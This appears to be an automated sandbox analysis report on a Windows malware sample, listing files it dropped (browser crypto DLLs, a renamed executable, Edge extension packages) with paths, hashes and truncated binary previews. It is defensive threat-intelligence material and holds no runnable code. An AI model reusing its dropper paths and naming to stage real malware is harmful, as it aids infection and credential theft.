SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1928192
Entropy (8bit):	7.949096417113844
Encrypted:	false
SSDEEP:	49152:3jRwzOUOxqpHXV7ehRYo/cpkFt80BZ2QV7aGyC:3j+pOkJXV7Nqckm
MD5:	A93B02D857DB3B12C32BD765B83825AB
SHA1:	137F12047A081E6581E1D1A83C939D98514C3FF3
SHA-256:	553620B236B58004ED19556A8E380EA9C17F542D16986F0C88E9E7EFC64670FA
SHA-512:	AAB2BFD4090C77B87784D0110F5EE2DD24554FADA9BDF9C2E8E08FF01A9025F5D8A7DFA2D4B89BF35CB037C162292A04F1084B87727B1BD201A9B5AB1B367BCD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0L...........@..........................`L.....$.....@.................................W...k.......D.....................L...............................L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...zeiislbd.P....1..P..................@...qmlrfrpw..... L......F..............@....taggant.0...0L.."...J..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4451840
Entropy (8bit):	7.983904500969821
Encrypted:	false
SSDEEP:	98304:9Ba5FqLWKDAV2FcsdZCBLUdU+Rijyv7lXnvVLSOML:9G4LhAAWsdZGLUdU+sW75vV+H
MD5:	1D5CDAA864A209507BC54F040F492FFA
SHA1:	6CA4F226C07605D3C5EEE7F2BBD584B8905387B0
SHA-256:	16CA85EECB242929D182F0F423F1DB26068A5930673D3A59D9285BFD5BC368F6
SHA-512:	9866E9022AE1A777FDAFD29C2FF5115D9BBA351DCC9F3ACBBEFA7F8C1C5C60AF1694D8DE08299CE174AEAA20F4A1609FE0C1C628FAC3CB9278462FE3032DD831
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%.Eg...............(.NK..:v..2...........`K...@..................................kD...@... ............................._.s.s.....s............................................................................................................. . ..s......6(.................@....rsrc.........s......F(.............@....idata ......s......H(.............@... ..8...s......J(.............@...lkzekxbo.....@...\|...L(.............@...lpafuxee..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1f9c29bb-7bd7-4eee-9b88-ff178dcc90e4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\3de5f184-9f0d-40aa-b2e4-59fe94b71812.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\6f64b1b4-2d15-4141-a235-8617309ef33c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\760ea544-c03e-4ce5-ac1a-cd99499862d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\a7f446e5-bee8-4c80-bbf0-d653b6aed8e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsDHJECFCGHI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1928192
Entropy (8bit):	7.949096417113844
Encrypted:	false
SSDEEP:	49152:3jRwzOUOxqpHXV7ehRYo/cpkFt80BZ2QV7aGyC:3j+pOkJXV7Nqckm
MD5:	A93B02D857DB3B12C32BD765B83825AB
SHA1:	137F12047A081E6581E1D1A83C939D98514C3FF3
SHA-256:	553620B236B58004ED19556A8E380EA9C17F542D16986F0C88E9E7EFC64670FA
SHA-512:	AAB2BFD4090C77B87784D0110F5EE2DD24554FADA9BDF9C2E8E08FF01A9025F5D8A7DFA2D4B89BF35CB037C162292A04F1084B87727B1BD201A9B5AB1B367BCD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0L...........@..........................`L.....$.....@.................................W...k.......D.....................L...............................L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...zeiislbd.P....1..P..................@...qmlrfrpw..... L......F..............@....taggant.0...0L.."...J..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bb67f7a4-5209-4b0a-b6fa-958baca2f30c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1560197
Entropy (8bit):	7.993172850908118
Encrypted:	true
SSDEEP:	24576:rIiEuiED5V/CnvfImv86pG7HUtHSs9IusFAX3dr4N60qLnf+2yQY3go5JVFy9+j4:pjD5V/afCKG7oSgoAndrtW0YXfVFyORy
MD5:	4CE7DD4301B938C066FBEEA174D5F406
SHA1:	B516B57C185552A530259C2D1CC0FC874FCCF20B
SHA-256:	9C97E8172F59FB098236B80BD98AE70B19DB33EC6CE1D219434F8F59D32A8E42
SHA-512:	43312252177ECA0EF587D275F1D5899B98E005A35661CEE8F6164CFA5BD74EC52657D2D79CB09F969C7DF49CFE4097FE25E5D4AEAEA165677F305F43854AAE4A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....bKGD............./IDATX..W}l.E..3..w.+..H.\|...D.%..M.Z5.I..&.Q....W.%.P..!.&.Q.."..0...H.Z.".....>Z....A.......m.....1..........{...A........<.-a.27j..... '.A.D...kVI.B..A...}..o:/...h<..E....M2r.0.PP<j.j..e]..>lh.(..?u.....KqB.7CP..8.D.a.$.%..??.iG.=+.~..2FH...\am;}...n......h~.H...........#KvW..w;.#.dc..1.JW.2...(...nu.Q0....,..H0..1)..[....^.P..r..;.`{.d........%...6.......@.."O.+"&zSym.,.Nn..L..pj.&K.Z.....yH=..R.P?.i..Td...Sb.%o.....w..R`.sOJIjQ.>...i.v....A.CD\|bfx....).o.g.....I....6...!....<.t\|"....PO<".:/+..>1.......R.o...@.../"y.",S.@...B..h...Z...P.>.......+...:z........7,:.....\|)C.p.H+`i..e).8...zA".$:Z.o.........j]].....K:.....ZI.. ....~..&........:]...w.md./zkT.Z..F........,."7\|.\|u..3....G.../7.oJ...*...7..~l......PY.HQ>..`$........2.{.....>( I,...h..I...N.y}=..VN.R.....IH..kp.V..\|Io.+k...Eb.ES>.E2......Z.._.I .q0..0.......F.&D.(D1.Q+.M...!z9.....#xV.p....nH....7....\t.w"`F...-

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.403496407269302
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0FxRvPL5+xRdvL0FxR35M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ55
MD5:	749F5308FE6C59553288D83DAA1A6BD4
SHA1:	7F7F12CA3BA53B946919FACF4CDA305EF03F6CB8
SHA-256:	262749B795940EB4E09B7AC0934DD7BA7C0E8A76D674AC2CF2D40CC533748FD0
SHA-512:	246EA13C2F0E4B6186999BE01BD03134EA12FCF17F3E8CBD7CC664EB3A3D9FE4D97FFEA684581D7433A4D8D44FE4A1A6E5EF9C7B7FA87F1E9699429249D7ACAC
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\da0036dd-042d-471a-83e4-b483fde855ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir4476_101984300\760ea544-c03e-4ce5-ac1a-cd99499862d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir4476_101984300\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir4476_101984300\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
